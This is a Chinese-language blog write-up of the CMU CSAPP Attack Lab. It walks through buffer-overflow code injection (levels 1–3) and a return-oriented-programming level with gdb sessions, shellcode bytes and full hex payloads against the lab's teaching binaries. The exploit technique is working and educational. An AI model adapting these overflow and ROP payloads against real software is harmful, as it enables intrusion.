CMU_CSAPP_LAB3_ATTACKLAB

本實驗要仔細閱讀對應的 write up ,上面給了大量的提示信息,主要是介紹兩種攻擊方式,分兩部分,第一部分的方式對於現代計算機已經基本無效了,第二部分的方式過程比較繁雜,不過原理還是很容易理解的。實驗的主要目的還是熟悉計算機的程序控制方式、函數棧幀的結構,以及熟練使用 dbg 和 objdump 工具進行調試。

本文講解較少,可參照其他博客,有一些寫的很好,附圖講解,思路清晰。

本文對實驗過程的記錄比較完整,包括了每一個數據和操作的來源。


PART1_Code_Injection_Attacks


LEVEL1

首先使用 abjdump 命令生成彙編代碼的文本文件:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ objdump -d ctarget > ctarget.txt

打開生成的 ctarget.txt 文件,找到相應的彙編代碼:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

由第一行可知,getbuf 函數調用時,開闢了 40 個字節的棧空間,如下圖所示,開闢的空間是藍色的部分,當我們輸入的內容超過 40 個字節,超出的部分就會繼續覆蓋前面的內容。

根據棧的結構可知,藍色相鄰的部分就是 getbuf 函數調用結束後要返回的地址,於是我們找到函數 touch1 的入口地址:

00000000004017c0 <touch1>:

根據輸入的順序(Linux爲小端法),我們前 40 字節的內容隨意輸入(比如08),接着再依次輸入 c0 17 40 即可。

新建一個文檔命名爲 c_level1 ,輸入如下內容:

 再通過 ./hex2raw 轉化爲字符串進行輸入即可:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ ./hex2raw < c_level1 | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 

LEVEL2

閱讀文檔,找到兩個關鍵信息,第一個是函數 touch2 的地址,第二個是要傳給函數 touch2 的參數:

00000000004017ec <touch2>:

因爲實驗要求必須用 ret 調用 touch2 ,我們的過程就是把要傳給函數 touch2 的參數寫入 rdi ,然後將函數 touch2 的地址寫到 getbuf 返回後 rsp 指向的位置,代碼的輸入同樣需要藉助 ./hex2raw 進行格式轉換。

新建 c_level2.s 文件寫入相應的彙編代碼:

movq  $0x59b997fa, %rdi
ret

將其生成 .o 文件再反彙編得到機器代碼:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ gcc -c c_level2.s
liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ objdump -d c_level2.o

c_level2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	c3                   	retq   

這裏就得到了執行上述操作的十六進制格式指令,我們還需要知道注入的這段代碼的地址,利用 gdb 調試得到:

(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q
Starting program: /home/liuyuan/Downloads/CSAPP/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12	in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) stepi
14	in buf.c
(gdb) i r $rsp
rsp            0x5561dc78	0x5561dc78

根據上述信息,我們需輸入的數據爲:

48 c7 c7 fa 97 b9 59 c3   <---注入指令的內容
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00   <---注入指令的地址
ec 17 40 00 00 00 00 00   <---touch2的地址

同樣新建文檔寫入上述內容,文檔命名爲 c_level2,成功:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ ./hex2raw < c_level2 | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00 

還有另一種等效的方法,以壓棧的形式指定 getbuf 結束後返回的指令地址,設置爲 touch2 的地址,彙編代碼改爲:

movq  $0x59b997fa, %rdi
pushq $0x4017ec
ret

反編譯得到相應的機器代碼:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ gcc -c c_level2.s
liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ objdump -d c_level2.o

c_level2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq 

文檔 c_level2 改爲:

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

同樣可以通過:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ ./hex2raw < c_level2 | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 

LEVEL3

閱讀文檔,確定幾個關鍵信息。

函數 touch3 的地址:

00000000004018fa <touch3>:

傳給函數 touch3 的數據,即 cookie 中記錄的 0x59b997fa 對應的 ascii 碼(末尾要加上 '\0'):

35 39 62 39 39 37 66 61 00

 傳給函數 touch3 的數據地址(安全起見要寫在函數 test 中,否則可能會改動函數 getbuf 結束後的返回地址),利用 gdb 調試:

(gdb) break test
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) run -q
Starting program: /home/liuyuan/Downloads/CSAPP/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:90
90	visible.c: No such file or directory.
(gdb) disas
Dump of assembler code for function test:
=> 0x0000000000401968 <+0>:	sub    $0x8,%rsp
   0x000000000040196c <+4>:	mov    $0x0,%eax
   0x0000000000401971 <+9>:	callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:	mov    %eax,%edx
   0x0000000000401978 <+16>:	mov    $0x403188,%esi
   0x000000000040197d <+21>:	mov    $0x1,%edi
   0x0000000000401982 <+26>:	mov    $0x0,%eax
   0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:	add    $0x8,%rsp
   0x0000000000401990 <+40>:	retq   
End of assembler dump.
(gdb) stepi
92	in visible.c
(gdb) i r $rsp
rsp            0x5561dca8	0x5561dca8

於是,我們要執行的操作就是將傳給函數 touch3 的數據通過溢出方式寫進 test 棧幀中,將此數據的地址賦值給 rdi ,並將函數 touch3 壓棧,其中的注入代碼爲:

movq  $0x5561dca8, %rdi
pushq $0x4018fa
ret

通過反彙編得到機器代碼:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ gcc -c c_level3.s
liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ objdump -d c_level3.o

c_level3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   

由於我們要跨過函數 getbuf 的返回地址,寫入 cookie 中的數據,必須將原來保存的函數 getbuf 的返回地址原樣寫入,同樣是通過 dbg 調試的方法找到:

(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q
Starting program: /home/liuyuan/Downloads/CSAPP/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12	buf.c: No such file or directory.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) stepi
14	in buf.c
(gdb) i r rsp
rsp            0x5561dc78	0x5561dc78

根據上述信息,我們要輸入的數據爲:

48 c7 c7 a8 dc 61 55 68   <---注入代碼的內容
fa 18 40 00 c3 00 00 00   <---注入代碼的內容
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00   <---注入代碼的地址
35 39 62 39 39 37 66 61   <---寫入test棧幀的內容
00

測試通過:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ ./hex2raw < c_level3 | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 

PART2_Return_Oriented_Programming


LEVEL2

思路:將棧上的數據  pop 到 rdi 上用於函數 touch2 的傳參,接着 ret 到 touch2 的地址,需要的彙編指令內容:

pop %rdi
ret

查表得到 pop %rdi 對應編碼爲 5f ,反彙編 rtarget 並尋找可用的 target 。

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ objdump -d rtarget > rtarget.txt
  402b18:	41 5f                	pop    %r15
  402b1a:	c3                   	retq  

 即得到 target 地址:0x402b19 ,再把 PART1 中 LVEVL2 得到的傳參內容和 touch2 地址抄過來,得到要輸入的數據:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00   <---pop %rdi
fa 97 b9 59 00 00 00 00   <---pop 到 rdi 的內容
ec 17 40 00 00 00 00 00   <---pop 結束後執行指令的地址

測試通過:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ ./hex2raw < r_level2 | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2B 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40 00 00 00 00 00

LEVEL3

看了文檔介紹,這部分佔實驗分值很低(5%),因爲基本原理和重要的知識點都在前面的實驗中都已經有所覆蓋,這個實驗要利用 8 個寄存器,比較耗時,筆者這裏就先不做了,以後要是有時間回顧的話再補上~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章